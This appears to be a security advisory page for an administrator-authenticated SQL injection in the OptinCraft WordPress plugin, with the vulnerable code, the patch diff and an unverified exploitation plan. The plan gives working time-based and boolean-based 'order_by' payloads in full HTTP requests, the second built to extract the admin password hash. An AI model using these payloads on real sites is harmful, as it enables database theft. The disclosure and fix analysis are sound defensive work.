CVE-2026-8978

OptinCraft <= 1.2.0 - Authenticated (Administrator+) SQL Injection via 'order_by' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
1.2.1
Patched in
1d
Time to patch

Description

The OptinCraft – Drag & Drop Optins & Popup Builder for WordPress plugin for WordPress is vulnerable to generic SQL Injection via the 'order_by' parameter in all versions up to, and including, 1.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.2.0
PublishedJune 5, 2026
Last updatedJune 6, 2026
Affected pluginoptincraft

What Changed in the Fix

Changes introduced in v1.2.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-8978 - OptinCraft SQL Injection ## 1. Vulnerability Summary The **OptinCraft** plugin (<= 1.2.0) is vulnerable to an authenticated SQL injection via the `order_by` parameter. The vulnerability exists because user-supplied input is passed through `sanitize_text…

Show full research plan

Exploitation Research Plan: CVE-2026-8978 - OptinCraft SQL Injection

1. Vulnerability Summary

The OptinCraft plugin (<= 1.2.0) is vulnerable to an authenticated SQL injection via the order_by parameter. The vulnerability exists because user-supplied input is passed through sanitize_text_field()—which does not neutralize SQL metacharacters—and is then concatenated directly into an ORDER BY clause within the custom Query Builder class (OptinCraft\WpMVC\Database\Query\Builder).

While the vulnerability requires Administrator-level privileges (as indicated by the Admin namespace and EnsureIsUserAdmin middleware references), it allows for full extraction of sensitive database information, including WordPress user hashes and security salts.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API. Based on the controller namespaces, the routes likely follow the pattern /wp-json/optincraft/v1/admin/campaigns.
  • HTTP Method: GET (for the index methods).
  • Vulnerable Parameter: order_by.
  • Authentication: Required (Administrator+).
  • Preconditions: The attacker must have a valid session as an administrator and a valid wp_rest nonce.

3. Code Flow

  1. Entry Point: The request hits OptinCraft\App\Http\Controllers\Admin\CampaignController::index.
  2. Validation: The $request->validate() call ensures order_by is a string but does not restrict it to a whitelist of columns.
  3. DTO Population:
    // CampaignController.php:39
    ->set_order_by( sanitize_text_field( (string) $request->get_param( "order_by" ) ) ?? 'id' )
    
    sanitize_text_field() is used, which is insufficient for SQL injection prevention.
  4. Repository Call: index() returns $this->repository->get( $dto ).
  5. Query Construction: In OptinCraft\App\Repositories\CampaignRepository::get():
    // CampaignRepository.php:61
    if ( $dto->get_order_by() ) {
        $query->order_by( $dto->get_order_by(), $dto->get_order_direction() );
    }
    
  6. Sink: The order_by() method in the Builder class (part of the WpMVC framework included in the plugin) likely appends the raw string to the SQL statement without using $wpdb->prepare(), as ORDER BY clauses cannot be parameterized with standard placeholders in MySQL.

4. Nonce Acquisition Strategy

Accessing the REST API for optincraft requires a wp_rest nonce.

  1. Shortcode Identification: The plugin is a popup builder. The popups are likely loaded via the main plugin initialization.
  2. Setup:
    • Create a page with a campaign (if necessary) to ensure the admin dashboard for OptinCraft is active.
    • Use wp post create --post_type=page --post_status=publish --post_title="Security Research" --post_content="[optincraft id='1']" (Shortcode inferred from common WP patterns).
  3. Acquisition:
    • Navigate to the WordPress Admin dashboard: /wp-admin/admin.php?page=optincraft.
    • Use browser_eval to extract the REST nonce from the global WordPress variable:
      browser_eval("wpApiSettings.nonce")

5. Exploitation Strategy

We will use a time-based blind SQL injection because ORDER BY injections often do not allow for simple UNION statements depending on the Query Builder's structure.

Step 1: Verification (Time-Based)

Send a request that causes a 5-second delay if the injection is successful.

HTTP Request:

GET /wp-json/optincraft/v1/admin/campaigns?page=1&perPage=10&order_by=(SELECT(1)FROM(SELECT(SLEEP(5)))a)&order_direction=asc HTTP/1.1
Host: localhost
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [ADMIN_COOKIES]

Step 2: Data Extraction (Boolean-Based)

If the plugin returns a list of campaigns, we can use conditional logic in the ORDER BY to change the sort order based on a boolean condition.

Payload:
IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',id,title)

  • If the first character of the admin hash is $, results sort by id.
  • If not, results sort by title.

6. Test Data Setup

  1. Create Administrator: Ensure an admin user exists.
  2. Create Campaigns: Create at least two campaigns with different IDs and titles to observe sorting changes.
    # Using the plugin's own logic via WP-CLI if available, or simply via the UI
    # For the PoC, we can use the http_request tool to create a campaign first
    
  3. URL Mapping: Confirm the REST base. Check app/Providers/RouteServiceProvider.php (if it exists) or grep for register_rest_route.
    grep -r "register_rest_route" .
    

7. Expected Results

  • Time-based: The response should take significantly longer (~5 seconds) than a normal request.
  • Boolean-based: The order of items in the data array of the JSON response will change depending on the truth of the SQL condition.

8. Verification Steps

After executing the exploit, verify the database state to ensure no corruption occurred and confirm the extracted data:

# Verify the admin password hash to match against extracted data
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"

9. Alternative Approaches

If the REST API endpoint is not /wp-json/optincraft/v1/admin/campaigns, check the following controllers which share the same vulnerability:

  • OptinCraft\App\Http\Controllers\Admin\ResponseController::index
    • Requires campaign_id, page, and perPage.
  • OptinCraft\App\Http\Controllers\Admin\TaskController::index
    • Requires campaign_id, page, and perPage.

Example payload for ResponseController:
GET /wp-json/optincraft/v1/admin/responses?campaign_id=1&page=1&perPage=10&order_by=id,(SELECT(SLEEP(5)))

Research Findings
Static analysis — not yet PoC-verified

Summary

The OptinCraft plugin for WordPress is vulnerable to authenticated SQL Injection via the 'order_by' parameter in several administrative REST API endpoints. This occurs because the plugin uses sanitize_text_field() on the parameter and directly concatenates it into an SQL ORDER BY clause within its query builder without proper preparation or whitelisting, allowing an administrator-level attacker to extract sensitive data from the database.

Vulnerable Code

// app/Http/Controllers/Admin/CampaignController.php lines 25-39
$request->validate(
    [
        "page"            => "required|numeric",
        "perPage"         => "required|numeric",
        "search"          => "sometimes|string",
        "order_by"        => "sometimes|string",
        "order_direction" => "sometimes|string|in:asc,desc",
    ]
);

$dto = ( new Read )->set_page( $request->get_param( "page" ) )
    ->set_per_page( $request->get_param( "perPage" ) )
    ->set_search( sanitize_text_field( (string) $request->get_param( "search" ) ) )
    ->set_order_by( sanitize_text_field( (string) $request->get_param( "order_by" ) ) ?? 'id' )
    ->set_order_direction( (string) $request->get_param( "order_direction" ) ?? 'desc' );

---

// app/Repositories/CampaignRepository.php lines 60-64
if ( $dto->get_order_by() ) {
    $query->order_by( $dto->get_order_by(), $dto->get_order_direction() );
} else {
    $query->latest( "id" );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/optincraft/1.2.0/app/Http/Controllers/Admin/CampaignController.php /home/deploy/wp-safety.org/data/plugin-versions/optincraft/1.2.1/app/Http/Controllers/Admin/CampaignController.php
--- /home/deploy/wp-safety.org/data/plugin-versions/optincraft/1.2.0/app/Http/Controllers/Admin/CampaignController.php	2026-05-23 16:21:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/optincraft/1.2.1/app/Http/Controllers/Admin/CampaignController.php	2026-05-29 20:21:08.000000000 +0000
@@ -26,16 +26,12 @@
                 "page"            => "required|numeric",
                 "perPage"         => "required|numeric",
                 "search"          => "sometimes|string",
-                "order_by"        => "sometimes|string",
-                "order_direction" => "sometimes|string|in:asc,desc",
             ]
         );
 
         $dto = ( new Read )->set_page( $request->get_param( "page" ) )
             ->set_per_page( $request->get_param( "perPage" ) )
-            ->set_search( sanitize_text_field( (string) $request->get_param( "search" ) ) )
-            ->set_order_by( sanitize_text_field( (string) $request->get_param( "order_by" ) ) ?? 'id' )
-            ->set_order_direction( (string) $request->get_param( "order_direction" ) ?? 'desc' );
+            ->set_search( sanitize_text_field( (string) $request->get_param( "search" ) ) );
 
         return Response::send( $this->repository->get( $dto ) );
     }
--- /home/deploy/wp-safety.org/data/plugin-versions/optincraft/1.2.0/app/Repositories/CampaignRepository.php	2026-05-23 16:21:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/optincraft/1.2.1/app/Repositories/CampaignRepository.php	2026-05-29 20:21:08.000000000 +0000
@@ -47,14 +47,7 @@
             }
         );
 
-        $query->select( 'campaign.id', 'campaign.title', 'campaign.description', 'campaign.type', 'campaign.status', 'campaign.updated_at' )->with( 'campaign_stats' );
-
-        // Apply ordering
-        if ( $dto->get_order_by() ) {
-            $query->order_by( $dto->get_order_by(), $dto->get_order_direction() );
-        } else {
-            $query->latest( "id" );
-        }
+        $query->select( 'campaign.id', 'campaign.title', 'campaign.description', 'campaign.type', 'campaign.status', 'campaign.updated_at' )->with( 'campaign_stats' )->latest( "campaign.id" );
 
         do_action( 'optincraft_get_campaigns_query', $query );

Exploit Outline

An attacker with Administrator-level access can exploit this vulnerability by sending a crafted GET request to administrative REST API routes such as /wp-json/optincraft/v1/admin/campaigns. By including a malicious SQL payload in the 'order_by' parameter, the attacker can perform time-based blind SQL injection (e.g., using SLEEP() functions) or boolean-based injection (e.g., using conditional logic like IF() to alter the sort order based on database values). This requires a valid WordPress REST API nonce and an active administrative session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.